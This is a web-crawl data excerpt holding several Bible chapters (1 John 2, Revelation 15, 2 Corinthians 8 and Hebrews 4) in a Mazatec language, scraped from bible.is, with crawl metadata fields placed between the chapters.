Jesucristo xi nguì xi̱ta̱ kixi̱. 2Jesucristo kitsjaà kjo̱tjò yijo‑la̱ nga k'en ngajo‑ná, mé‑ne ko̱ma si̱ìjchàat'aà‑ná jñà jé‑ná, ta̱nga mìtsà tà jñá xi si̱ìjchàat'aà‑ná; ti̱koa̱á si̱ìjchàat'aà yijeé‑la̱ ngats'iì xi̱ta̱ xi tjín nga tíjtsa i̱sò'nde. 3Tsà ndaà si̱kitasoán kjo̱tíxoma‑la̱, maá kíjngoò‑lá takoán nga jyeé ndaá yaxkoaán. 4Tsà tjín xi̱ta̱ xi tsò: \"'A̱n, jyeé ndaà bexkoan Nainá\", ta̱nga tsà mìkiì ndaà síkitasòn kjo̱tíxoma‑la̱, xi̱ta̱ ndiso‑né; tsjìn‑la̱ kjoa̱ kixi̱. 5Ta̱nga tsà ndaà nìkitasoán koni tsò 'én‑la̱, jyeé 'ñó ndaà tjín‑ná kjo̱tsjacha‑la̱ Nainá ko̱ k'oa̱á s'ín ma‑ne nga 'ya‑la̱ nga kixi̱í kjoa̱ nga jè Cristo titsa̱jnakoa̱á. 6Jè xi̱ta̱ xi tsò nga ya̱ tíjnako̱ Cristo, mochjeén‑né nga k'oa̱s'ín kàtasíjchá yijo‑la̱ koni s'ín kis'iìn Jesucristo. 7Jñò ndí 'ndsè, jè kjo̱tíxoma xi tìkjiì‑nò, mìtsà nguì kjo̱tíxoma xi̱tse̱; ti̱jè‑ne kjo̱tíxoma xi kits'iì‑nò k'e̱ nga sa̱ ítjòn k'e̱ nga ti̱sa̱ kòkjeiín‑nò. Jè kjo̱tíxoma jchínga jè, ti̱jè‑ne 'én xi kina'yà jñò nga ti̱sa̱ ítjòn. 8Ta̱nga i̱'ndei̱ k'oa̱á s'ín tìkjiì‑nò koni tsà jngoò kjo̱tíxoma xi̱tse̱. Nga̱ i̱t'aà ts'e̱ Cristo ki'ya‑la̱ nga xi̱tse̱‑né ko̱ ti̱koa̱á tí'yaá‑la̱ xi i̱t'aà tsa̱jòn. Nga̱ jyeé tífahato kjoa̱ xi jñò choòn, ko̱ jyeé tí'ya‑la̱ xi nguì kjoa̱ iseèn‑la̱ Nainá. 9Tsà jngoò xi̱ta̱ k'oa̱s'ín títsò nga k'oa̱á s'ín tísíjchá yijo‑la̱ koni s'ín tjín kjoa̱ iseèn‑la̱ Nainá, ta̱nga tsà majtikeè xíkjín xi ti̱koa̱ i̱t'aà ts'e̱ Cristo mokjeiín‑la̱, mìtsà kixi̱ kjoa̱ nga iseèn tísíjchá yijo‑la̱, ta̱kó ya̱á tíjnajiìn ñánda jñò choòn. 10Jè xi̱ta̱ xi matsjakeè xi̱ta̱ xíkjín xi ti̱koa̱ i̱t'aà ts'e̱ Cristo mokjeiín‑la̱, k'oa̱á s'ín tísíjchá yijo‑la̱ koni s'ín tjín kjoa̱ iseèn‑la̱ Nainá. Jè xi̱ta̱ jè, mìtsà ti̱ mé tjín‑ne xi ma ko̱hótsji jé‑la̱. 11Ta̱nga jè xi̱ta̱ xi majtikeè xi̱ta̱ xíkjín xi ti̱koa̱ i̱t'aà ts'e̱ Cristo mokjeiín‑la̱, ya̱á tíjna, ko̱ ya̱á tsó'baya ya̱ ndi̱yá ñánda jñò choòn. Mìkiì beè ñánda tífì, nga̱ jè kjoa̱ jñò, bíchjoà xko̱n. 12Jñò xi ndí i̱xti 'mì‑nò, tìkjiì‑nò Xo̱jo̱n jè, nga̱ i̱t'aà ts'e̱ Cristo‑né nga jye kisìjchàat'aà‑nò Nainá jñà jé xi tjín‑nò. 13Jñò xi xi̱ta̱ jchínga 'mì‑nò, tìkjiì‑nò Xo̱jo̱n jè, nga̱ jyeé kiyaxkoòn jè Jesucristo xi tíjna skanda ti̱sa̱ tàts'en‑la̱ kjoa̱. Jñò i̱xti xi sa̱ titsa̱nìjchá yijo‑nò, tìkjiì‑nò Xo̱jo̱n jè, nga̱ jyeé kinìkijne‑là jè xi̱ta̱ nei̱í. Jñò xi ndí i̱xti 'mì‑nò, jyeé kiskiì‑nò Xo̱jo̱n jè nga̱ jye kiyaxkoòn Nainá xi Na̱'èn 'mì‑laà. 14Jyeé kiskiì‑nò xo̱jo̱n, jñò xi xi̱ta̱ jchínga 'mì‑nò, koií kjoa̱‑la̱ nga̱ jyeé kiyaxkoòn Jesucristo xi tíjna skanda ti̱sa̱ tàts'en‑la̱ kjoa̱. Ti̱koa̱á jyeé kiskiì‑nò jñò i̱xti xi sa̱ titsa̱nìjchá yijo‑nò, koií kjoa̱‑la̱ nga̱ tjín‑nò nga'ñó ko̱ jyeé ya̱ tíjnajiìn ini̱ma̱‑nò jè 'én‑la̱ Nainá ko̱ jyeé kinìkijne‑là jè xi̱ta̱ nei̱í. 15Kì jñà matsjacha jñà kjoa̱ xi tjín i̱sò'nde. Tsà yá xi̱ta̱ xi matsjakeè jñà kjoa̱ xi tjín i̱sò'nde, mìtsà kixi̱ kjoa̱ nga matsjakeè Nainá xi Na̱'èn 'mì‑laà. 16Ngats'iì kjoa̱ ch'o xi jè i̱sò'nde bít'aà‑ná, mìtsà ya̱ nchrobá‑ne i̱t'aà ts'e̱ Nainá xi Na̱'èn 'mì‑laà. Ti̱ya̱á tísindaà‑ne i̱ i̱sò'nde. Jñà kjoa̱ ch'o koi, xi tjín i̱sò'nde: jñà‑né kjoa̱ ch'o xi síjé yijo‑ná, kjoa̱ xi tsejèn‑la̱ xkoaán nga mején‑ná tsa̱ján ko̱ma, ko̱ kjoa̱ 'nga takòn xi ts'e̱ kjoa̱ nchi̱ná. 17Ngats'iì kjoa̱ ch'o xi tjín i̱sò'nde, ko̱ kjoa̱ xi ya̱ fahajiìn‑ná, jyeé tífehet'aà, ta̱nga jè xi̱ta̱ xi síkitasòn koni s'ín mejèn‑la̱ Nainá, kíjnakon‑né ni̱ta̱ kjé‑ne. 18Jñò xi ndí i̱xti xan‑nò, jyeé tífehet'aà na̱chrjein. Jyeé tíjiìn‑nò nga kjoi̱í jngoò xi̱ta̱ xi nguì kondra̱ tíjna‑la̱ Cristo. Ko̱ na̱chrjein i̱'ndei̱ jyeé 'ñó kjìn ma‑ne xi kondra̱ nchifì‑la̱ Cristo. K'oa̱á ma‑ne nga k'oa̱s'ín machi̱ya‑ná nga jyeé tífehet'aà na̱chrjein. 19Jñà xi̱ta̱ koi, ti̱ i̱í itjokàjiìn‑ná, ta̱nga xi kjoa̱ kixi̱, mìtsà nguì xi̱ta̱ tsa̱ján ma; tsà kixi̱í kjoa̱ nga xi̱ta̱ tsa̱ján, i̱í‑là títsa̱jnako̱‑ná. Ta̱nga koií k'oa̱s'ín itjokàjiìn‑ná jñà xi̱ta̱ koi mé‑ne nga ndaà kàta'ya‑la̱ nga ngats'iì xi̱ta̱ xi k'oa̱s'ín kondra̱ fì‑la̱ Cristo, mìtsà nguì xi̱ta̱ tsa̱ján. 20Jè Jesucristo, xi xi̱ta̱ tsjeè, jyeé kitsjaà‑nò jè Ini̱ma̱ Tsjeè‑la̱ Nainá; k'oa̱á ma‑ne nga ngats'ioò jyeé ndaà tíjiìn‑nò kós'ín tjín xi kjoa̱ kixi̱. 21K'oa̱á ma‑ne nga k'oa̱s'ín tìkjiì‑nò xo̱jo̱n jè, nga̱ jyeé ndaà tíjiìn‑nò xi kjoa̱ kixi̱; mìtsà koi‑ne nga kj'eè tíjiìn‑nò. Ko̱ jyeé ndaà tíjiìn‑nò nga ni̱jngoò 'én ndiso xi ya̱ nchrobát'aà‑ne i̱t'aà ts'e̱ kjoa̱ kixi̱. 22¿Yá‑ne xi xi̱ta̱ ndiso? Jè‑né xi bí'ma nga tsò: \"Jè Jesús mìtsà jè xi Cristo, [mìtsà Nainá kisìkasén].\" Jè xi̱ta̱ jè xi kondra̱ fì‑la̱ Cristo nga̱ jngoò k'a mìkiì mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá xi Na̱'èn‑ná ma ko̱ i̱t'aà ts'e̱ Jesucristo xi Ki'ndí‑la̱ Nainá ma. 23Ngats'iì xi̱ta̱ xi jngoò k'a mìkiì mokjeiín‑la̱ i̱t'aà ts'e̱ Ki'ndí‑la̱ Nainá, mìtsà Nainá xi Na̱'èn‑ná ma tíjnako̱. Ta̱nga jè xi̱ta̱ xi mokjeiín‑la̱ ti̱koa̱ tsjá 'én‑la̱ nga jè Jesús, jè xi Ki'ndí‑la̱ Nainá, ya̱á tíjnako̱ Nainá xi Na̱'èn‑ná ma. 24Koií k'oa̱s'ín xan‑nò, ndaá kàtasijiìn ini̱ma̱‑nò jè 'én xi i̱t'aà ts'e̱ Cristo xi jye kina'yà nga ti̱sa̱ tàts'en‑la̱ kjoa̱. Tsà k'oa̱s'ín ndaà si̱jiìn ini̱ma̱‑nò, ti̱koa̱á ndaá ki̱tsa̱jnako̱o Nainá xi Na̱'èn‑ná ma ko̱ Ki'ndí‑la̱. 25Jesucristo k'oa̱á s'ín kitsjaà 'én‑la̱ nga tsjá‑ná kjoa̱binachon xi mìkiì fehet'aà ni̱ta̱ kjé‑ne. 26Koií xá tìkjiì‑nò xo̱jo̱n jè mé‑ne nga ma jcha̱xkon‑nò jñà xi mejèn‑la̱ kona̱cha̱n‑nò. 27Ta̱nga jñò, jyeé tíjiìn ini̱ma̱‑nò jè Ini̱ma̱ Tsjeè‑la̱ Nainá xi kitsjaà‑nò Jesucristo. Mì ti̱ kiì mochjeén‑ne tsà yá xi ko̱kòya‑nò. Nga̱ ti̱jè‑ne Ini̱ma̱ Tsjeè‑la̱ Nainá ke̱èno̱jmíya‑nò kós'ín tjín ngats'iì kjoa̱ xi ndaà tjín. Koni s'ín ko̱kòya‑nò, 'én kixi̱‑né, mìtsà 'én ndiso. K'oa̱á s'ín ndaà titsa̱jnako̱o kjit'aà Jesucristo, koni s'ín síkíchi̱ya‑nò Ini̱ma̱ Tsjeè‑la̱ Nainá. 28Jñò xi ndí i̱xti xan‑nò, k'oa̱á s'ín ndaà titsa̱jnako̱o Cristo, mé‑ne nga 'ñó tjín‑ne takoán ko̱ mìkiì ko̱sobà‑ná k'e̱ nga jè xi ki̱tjojen ìjngoò k'a‑ne ngajmiì. 29Koni s'ín jye tíjiìn‑nò nga jè Cristo, xi̱ta̱ kixi̱‑né nga nguixko̱n Nainá, k'oa̱á ti̱s'ín ndaà kàtasijiìn‑nò, nga ngats'iì xi̱ta̱ xi kjoa̱ kixi̱ s'ín nga nguixko̱n Nainá, ki'ndí‑la̱ Nainá‑né.\n1 Juan 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1John\/2","date":"2013-12-12T23:31:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164754111\/warc\/CC-MAIN-20131204134554-00061-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":939,"character_repetition_ratio":0.074,"word_repetition_ratio":0.002,"special_characters_ratio":0.232,"stopwords_ratio":0.317,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ìjngo kjoa̱ tsatsíjen‑na ya̱ ján ngajmi ra 'ñó jeya tsatsíjen ko̱ 'ñó xkón 'ki: Ito ma‑ni ìkja̱li̱ ra ito kjo̱hi'in 'ya, jñà kjo̱hi'in ra fehe'ta‑ni; nga̱ ya̱á si̱ikjehe'ta‑ni jè kjo̱jti‑la̱ Nainá. 2Ti̱'koa̱á kíjtseé‑te ra koni 'ki ndáchikon ra chi̱tsín 'ki ra tjíkójin‑ko̱ ni'í ra títì jnga̱. Ko̱ ya̱á i̱jncha kixi̱ ya̱ a̱sòn ndáchikon ra̱kìi̱ jñà xi̱ta̱ ra ijye isikijne a̱'ta 'tse̱ cho̱ ra 'ñó 'cho 'kioo̱, ko̱ nga isikijne‑te a̱'ta 'tse̱ xkósòn‑la̱ cho̱ ra̱kìi̱, ko̱ ni̱ mì kì kitsjá'nde nga isi'ta chi̱ba̱ jè número ra 'tse̱ 'í‑la̱ cho̱ ra̱kìi̱. Nga'tsì jñà xi̱ta̱ kìi̱, kjiya tsja jñà ní'ñó arpa ra Nainá kitsjà‑la̱. 3Ko̱ jè i̱nchise jè 'én ra kise jè Moisés ra chi̱'nda‑la̱ Nainá, ko̱ jè 'én ra kise jè Forrè, ra tsò: Na̱'ìn ra Nainá 'mì‑li, ra batoó tse nga'ñó tjín‑li, 'ñó jeya ko̱ 'ñó xkón tjín nga'tsì kjoa̱ ra 'nì. Ji̱, ngi ta kjoa̱ kixi̱í ra 'nì, ko̱ ngi ndaá tjín nga'tsì kjoa̱ ra 'nì, ko̱ ji̱‑ní Xi̱ta̱xá ítjòn ra batéxoma‑la̱ nga'tsì xi̱ta̱ i̱sà'nde. 4¿Yá ra mì kì jtsa̱kjòn‑li Na̱'ìn? ¿Yá ra mì kì ske̱xkón‑li? Ta̱jngo‑ní ra ji̱ nga xi̱ta̱ tsje. 'Koa̱á ma‑ni nga nga'tsì xi̱ta̱ ra tjín ya̱ i̱sà'nde kji̱nchrabá‑ní nga ske̱xkón‑li nga̱ ijyeé tí'ya‑la̱ jè kjoa̱kixi̱ ra 'nì. 5'Kia̱ nga ijye kíjtsee̱ jñà kjoa̱ kìi̱, ískotsíjen‑náa̱ nga ya̱ ján ngajmi itjá'xa̱ jè i̱'nde tsje‑la̱ Nainá ra tíjna ya̱ a̱ya Ni'ya Nikje ra bakón nga ya̱ tíjna Nainá. 6Jñà ìkja̱li̱ ra ito ma‑nioo̱ ra ito kjo̱hi'in 'ya, itjoó ya̱ i̱'nde tsje‑la̱ Nainá. Kjiya nikje nda ra 'ñó chraba kjòn ra 'ñó fate tsijen; ko̱ tjíkjá‑la̱ ya̱ a̱sòn inìma̱‑la̱ xìncho̱ ra ngi ki̱cha̱ sinè. 7Jngo itjojin jñà ra ijòn ma‑nioo̱ ra tjítsa̱jnakon, nga jngó jngó chi̱tsín ra ngi ki̱cha̱ sinè kitsjà‑la̱ nga jngó jngó ìkja̱li̱ ra ito ma‑nioo̱. Ko̱ jñà chi̱tsín kìi̱, ya̱á i̱jncha kjo̱hi'in ra 'ya kjo̱jti‑la̱ Nainá ra tíjnakon skanda ta mé ni̱chjin‑nioo̱. 8Ya̱ a̱ya i̱'nde tsje‑la̱ Nainá, ngi kitseé jè ni̱'ndi̱ ra ya̱ inchrabà‑ni a̱'ta 'tse̱ kjoa̱jeya‑la̱ Nainá ko̱ a̱'ta 'tse̱ nga'ñó‑la̱; ni̱yá ra ma 'jaha'sen ya̱ a̱ya i̱'nde tsje 'kia̱ nga takó kjè bitjasòn kjo̱hi'in ra ito ma‑ni ra 'jiìkó jñà ìkja̱li̱ ra ito ma‑nioo̱.\nApocalipsis 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/15","date":"2013-12-05T21:16:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163047675\/warc\/CC-MAIN-20131204131727-00001-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.000005841255188}","num_words":351,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ndí 'ndsè ko̱ tichjaá, mejèn‑na nga kàtasijiìn‑nò kjo̱ndaà‑la̱ Nainá xi okó i̱jiìn na̱xa̱ndá‑la̱ Cristo xi títsa̱jna ya̱ nangui Macedonia. 2Na̱s'ín 'ñó tse kjo̱'in nchihotojiìn ti̱koa̱ tí'ya‑la̱ nga 'ñó matsja‑la̱. Na̱s'ín 'ñó xi̱ta̱ i̱ma̱, jñà tsojmì xi tsjá kjo̱tjò‑la̱ Nainá, ko̱ó ini̱ma̱‑la̱ tsjá koni tsà 'ñó xi̱ta̱ nchi̱ná. 3'A̱n, tíbe‑ná nga ko̱ó kjo̱tsja‑la̱ tsjá to̱n xi kjo̱tjò ts'e̱ Nainá koni kji bijchó nga'ñó‑la̱, saà k'oa̱á skanda tsjásòn‑né koni kji bijchó nga'ñó‑la̱. 4Jñà xi̱ta̱ koi, 'ñó tsibítsi'ba‑naje̱n nga mejèn‑la̱ nga ti̱koa̱ si̱ìkasén‑la̱ to̱n kjo̱tjò jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo jè i̱'nde ñánda ko̱chjeén‑la̱. 5Jñà xi̱ta̱ koi, ìsa̱á tsato kitsjaà koni s'ín titsa̱chiñá‑la̱je̱n. Ítjòn nangui kisìkítsa̱jna‑la̱ Nainá ini̱ma̱‑la̱, i̱kjoàn, k'oa̱á ti s'ín kis'iìn i̱t'aà tsa̱je̱n koni s'ín mejèn‑la̱ Nainá. 6K'oa̱á ma‑ne bítsi'ba‑la̱je̱n Tito koni s'ín tsibíts'ia̱ko̱ xá xi kitjoé‑la̱ k'e̱ nga sa̱ ítjòn, k'oa̱á ti̱s'ín kàtasíkjehet'aà‑ne nga kàtíxkó to̱n kjo̱tjò xi jñò 'bioò. 7Ta̱nga jñò, 'ñó ndaà 'nè‑nò ngats'iì kjoa̱ xi 'nè nga ndaà mokjeiín‑nò, nga ndaà nokjoà, nga ndaà tjín‑nò kjoa̱ chji̱ne̱, nga titsa̱jnandaà nga mejèn‑nò si̱chját'aà ni̱ta̱ mé kjoa̱‑ne, nga tjín‑nò kjoa̱tjòcha nga i̱t'aà tsa̱je̱n komà‑nò. Koni s'ín 'nè yije kjoa̱ koi, k'oa̱á ti̱s'ín ti̱katonè‑là jè kjo̱tjò xi 'bioò. 8Mìtsà k'oa̱s'ín tìxan‑nò koni tsà jngoò kjo̱tíxoma tìtsja‑nò. Jè xi mejèn‑na nga skoeè a nguì kixi̱í kjoa̱ nga tjín‑nò kjoa̱tjòcha koni s'ín tjín‑la̱ xi̱ta̱ xi kj'ei̱í nga titsa̱jnandaà nga tsjá kjo̱tjò‑la̱. 9Jñò, jyeé 'yaà kjo̱ndaà‑la̱ Jesucristo xi otíxoma‑ná. Xi̱ta̱ i̱ma̱á kis'iìn yijo‑la̱ xi kjo̱ndaà tsa̱jòn, na̱s'ín ts'e̱ yije‑né ngats'iì tsojmì xi tjín, mé‑ne jñò tjoé‑nò kjoa̱ nchi̱ná xi tjín‑la̱. 10Tsjaà jngoò‑nò kjo̱hítsjeèn i̱t'aà ts'e̱ kjoa̱ jè. Ko̱chjeén‑nò nga ndaà si̱kitasòn koni s'ín tsibìts'ia̱ko̱o jè nó xi tsato nga kits'ioò to̱n xi kjo̱tjò ts'e̱ Nainá. K'oa̱s'ín ki'nè nga ko̱ kjo̱tsja‑nò kits'ioò. 11I̱'ndei̱, tákó k'oa̱á s'ín t'e̱en koni s'ín tsibìts'ia̱ko̱o. K'oa̱á s'ín ti̱kjehet'aà koni s'ín kjòmejèn‑nò nga sa̱ ítjòn. K'oa̱á kji tjioò koni kji bijchó nga'ñó‑nò. 12K'e̱ nga jngoò xi̱ta̱ xi tíjnandaà nga ko̱ ini̱ma̱‑la̱ mejèn‑la̱ tsjá, k'oa̱á kji kàtatsjá koni kji ma xi s'ín, mìtsà tsato tínìjé‑la̱. Nainá mìtsà tsato síjé koni kji ma xi 'nè. 13Mìtsà koi kjoa̱‑la̱ nga kjo̱'in s'e̱‑nò nga si̱chját'aà‑lá xi̱ta̱ xi kj'ei̱í, jè‑né nga ngásòn ngáya s'e̱‑ná mé xi mochjeén‑ná. 14I̱'ndei̱, jñà xi̱ta̱ koi, tsjìn‑la̱ mé xi mochjeén‑la̱, ta̱nga jñò, tjín‑nò. K'e̱ nga kj'ei̱í na̱chrjein, jñà xi̱ta̱ koi, s'e̱é‑la̱ mé xi mochjeén‑la̱, ko̱ jñà ko̱si̱ko̱‑nò k'e̱ nga jñò tsjìn‑nò. K'oa̱á s'ín ngásòn ngáya s'e̱‑ná mé xi ko̱chjeén‑ná. 15K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jè xi kjìn tsibíxkó, ni̱mé tsiningui‑la̱, koa̱ jè xi chiba tsibíxkó, ni̱mé kisìchjaàt'aà‑la̱.\" 16Ndaà chjí‑la̱ Nainá nga k'oa̱s'ín tsibíjiìn ini̱ma̱‑la̱ jè Tito nga ti̱koa̱ kisìkájno i̱t'aà tsa̱jòn koni s'ín 'a̱n kisìkájnoa. 17Kixi̱í kjoa̱ jè Tito kòkjeiín‑la̱ koni s'ín tsibit'ín‑la̱; ti̱koa̱ jè, 'ñó mejèn‑la̱ nga kiìkon‑nò; ikoón xi kitsò nga kji̱kon‑nò. 18Jè Tito tífìko̱ jngoò 'ndseé xi ndaà síkíjna ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi tjín ni̱ta̱ ñánda‑ne; nga jè 'ndseé ndaà chja̱ya 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. 19Mìtsà tà koi kjoa̱ koi, ti̱koa̱á jñà na̱xa̱ndá‑la̱ Cristo jaàjiìn jè 'ndseé nga koa̱hijtako̱‑na̱je̱n nga onguíko̱‑je̱n to̱n kjo̱tjò‑la̱ Nainá xi ngaje̱n titsa̱bíxkó‑je̱n mé‑ne jè Na̱'èn‑ná jeya kíjna, ti̱koa̱ skoe̱ jñà xi̱ta̱ nga ko̱ó ini̱ma̱‑na̱je̱n síchját'aà‑la̱je̱n xi̱ta̱. 20K'oa̱á ma‑ne nga mì yá xi̱ta̱ ki̱chja̱jno‑naje̱n kós'ín ko̱chjeén to̱n xi tse tímaxkó. 21K'oa̱á s'ín bìnè‑la̱je̱n yijo‑na̱je̱n kjoa̱ xi ndaà tjín nga nguixko̱n Nainá ko̱ ti̱koa̱ nguixko̱n xi̱ta̱. 22Tito, ti̱koa̱á báhijtako̱ ìjngoò 'ndsè xi xki̱ xi ján ki'ya‑je̱n nga 'ñó bínè‑la̱ yijo‑la̱ nga kjìn xá ma‑la̱. Tjín kixi̱‑né i̱'ndei̱, ìsa̱á ndaà bínè‑la̱ yijo‑la̱ nga síchját'aà‑nò nga ìsa̱ ndaà beè takòn‑nò. 23Jè Tito, amigo ts'a̱n‑ná nga 'a̱án síxáko̱‑na̱ xi kjo̱ndaà tsa̱jòn. Jñà xi̱ta̱ 'ndseé xi i'nga, jñà na̱xa̱ndá‑la̱ Cristo xi tjín nangui Macedonia jñà kisìkasén; nga i̱t'aà ts'e̱ xi̱ta̱ 'ndseé koi, jè Cristo jeya bìjna. 24Ta̱kó‑là xi̱ta̱ koi kjoa̱tjòcha xi tjín‑nò, ta̱kó‑là kjo̱ndaà xi tjín‑nò koni s'ín jye o̱kixan‑la̱ jñà xi̱ta̱ 'ndseé koi, mé‑ne nga skoe̱‑ne jñà na̱xa̱ndá‑la̱ Cristo xi i'nga nga kixi̱ kjoa̱.\n2 Corintios 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/8","date":"2013-12-09T19:41:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163996875\/warc\/CC-MAIN-20131204133316-00063-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":633,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.303,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga takó tíjna‑isa 'én‑la̱ Nainá ra ijye kitsjà nga ma ki̱tjáha̱'se̱én ñánda̱ nga tíjna i̱'nde‑la̱ ñánda̱ ma níkjáya, tjínè‑la̱ nga nda si̱konde̱é ijo‑ná tsa kií ni̱chjin‑ni mì kì ko̱ma ki̱tjáha̱'se̱n i'ka. 2Jién ijyeé tí'sena̱jmí‑ná 'én xi̱tse̱ ra nda tsò koni 'sín ki'sena̱jmí‑te‑la̱ jñà xi̱ta̱ jchínga‑ná. Tanga ra jñà, ta kjo̱tjó‑ni ni̱'sín ki'sena̱jmí‑la̱, nga̱ mì kì ngásòn kjokjiín‑la̱ koni jñà xi̱ta̱ ra i'ka ra isìhitjasòn jñà 'én kìi̱. 3Tanga jién‑né ra ijye makjiín‑ná ki̱tjáha̱'se̱én ya̱ i̱'nde ñánda̱ ma níkjáya. Koni 'sín kitsò Nainá: 'Koa̱á ma‑ni nga ngi ko̱ó kjo̱jti‑na̱ nga kítsja 'én‑na̱ nga ko̱ 'sín kíxian nga mì kì kjoa̱à'sen‑jin ya̱ i̱'nde‑na̱ ñánda̱ ma níkjáya. Ni̱'sín jè xá‑la̱ Nainá ijyeé kjotseé ijyehe'tà, skanda ti̱'kia̱‑ni nga isinda i̱sà'nde. 4Jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá, 'koa̱á 'sín tíchja̱ a̱'ta 'tse̱ ni̱chjin ra ma‑ni ito nga tsò: Ra ma ito ni̱chjin kisíkjáyaá jè Nainá nga ijyehe'tà ijye xá‑la̱. 5Ti̱jé‑ni jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá india tíchja̱‑isa nga tsò: Mì kì kjoa̱à'sen‑jìn ya̱ i̱'nde‑na̱ ñánda̱ nga ma níkjáya. 6Jñà xi̱ta̱ ra kií'nchré ítjòn 'én ra nda tsò mì kì 'jaha'sen ya̱ i̱'nde ra̱kìi̱ ta nga̱tjì‑la̱ nga mì kì isìhitjasòn; tanga takó chijaá i'ka xi̱ta̱ nga kjoa̱ha'sen ya̱ i̱'nde ra̱kìi̱. 7'Koa̱á ma‑ni jè Nainá tsikíjna ìjngo‑isa ni̱chjin, jè ni̱chjin 'ndi̱ 'ndi̱, koni 'sín kiìchja̱ David a̱'ta 'tse̱, 'kia̱ nga a̱skan‑nioo̱ nga tíchja̱ ya̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: Tsa 'ndi̱ 'ndi̱ nga i̱nchina'yá jiòn jè 'én‑la̱ Nainá, kì tà chjàn nítája inìma̱‑no. 8Koni jè Josué mì kì kjomà kitsjà‑la̱ ni̱chjin níkjáya jñà xi̱ta̱ Israel, kií ko̱'sín a̱skan‑nioo̱, Nainá isìkàxki̱ ìjngo‑isa ni̱chjin níkjáya. 9'Koa̱á ma‑ni jè na̱xi̱ndá‑la̱ Nainá tíjna ìjngo‑isa‑la̱ ni̱chjin ñánda̱ nga ngi si̱ìkjáya. 10Nga̱ jè xi̱ta̱ ra 'faha'sen‑jin ya̱ kjoa̱ níkjáya‑la̱ Nainá, ti̱'koa̱á síkjáya‑ní ra kjoa̱ 'tse̱ xá‑la̱ koni 'sín isíkjáya jè Nainá ra a̱'ta 'tse̱ xá‑la̱. 11Machjeén‑ní nga 'ki̱ nga'ñó‑lá ijo‑ná nga ki̱tjáha̱'se̱n‑jieén ya̱ kjoa̱ níkjáya‑la̱ Nainá, ko̱ mì kì ko̱'sín 'sie̱én koni 'sín ki'sìn jñà xi̱ta̱ ra mì kì isìhitjasòn. 12Jè 'én‑la̱ Nainá tíjnakon‑ní ko̱ tjín‑la̱ nga'ñó; isa̱á ta nda bate nda mí 'koa̱‑ni koni jngo ki̱cha̱ ndajò ra ijò nga jò 'ka̱; 'faha'sen‑jin‑ní skanda ya̱ a̱jin inìma̱‑ná ko̱ ya̱ a̱jin kjo̱bítsjen‑ná; ti̱'koa̱á 'faha'sen‑jin‑ní skanda ñánda̱ tjíkjo ninda‑ná ko̱ bijchó skanda ya̱ a̱ya‑la̱; kjó'tajin‑ní kótsò kjo̱bítsjen ra tjín‑jin ya̱ a̱jin inìma̱‑ná ko̱ mé ra mejèn‑la̱ nga 'si̱in. 13Nga'tsì ra Nainá tsikínda, ni̱mé ra tjí'ma a̱'ta 'tse̱; nga̱ nga'tsì kjoa̱, tjín tsijen ijyeé‑ní ya̱ ngixko̱n jè ra tjínè‑la̱ nga 'ki̱‑lá kinda̱. 14'Ndi̱‑ni̱ nga ijye 'yeé nga tíjna jngo‑ná ra ngi jè saba na̱'mì ítjòn, jè ra 'mì Jesús ra I'ndí‑la̱ Nainá, jè ra 'jaha'sen‑jin ngajmi ya̱ ngixko̱n Nainá, 'koa̱á ma‑ni nga machjeén‑ní nga kixi̱ ki̱tsa̱jneé a̱'ta 'tse̱ 'én ra makjiín‑ná. 15Nga̱ jè na̱'mì ítjòn ra tíjna a̱'ta tsa̱jién, maá‑la̱ ko̱hi̱ma̱ke‑ná tsa 'kia̱ mé kjoa̱ ra mejèn kajieén; nga̱ jè, 'koa̱á ti̱'sín itjá'ta koni 'sín sa'koa̱ tjá'té ra jién; ta jé‑ní nga ni̱kjiá tsakátsji‑jé ra jè. 16'Koa̱á ma‑ni nga ngi kíjngo‑lá takén nga si̱chraña'ta‑lá ya̱ ñánda̱ tíbatéxoma Nainá ra tjín‑la̱ kjo̱nda, mé‑ni nga ske̱hi̱ma̱takòn‑ná ko̱ sakó‑ná kjo̱nda‑la̱ nga ko̱si̱ko̱‑ná 'kia̱ kjòn nga tímachjeén‑ná.\nHebreos 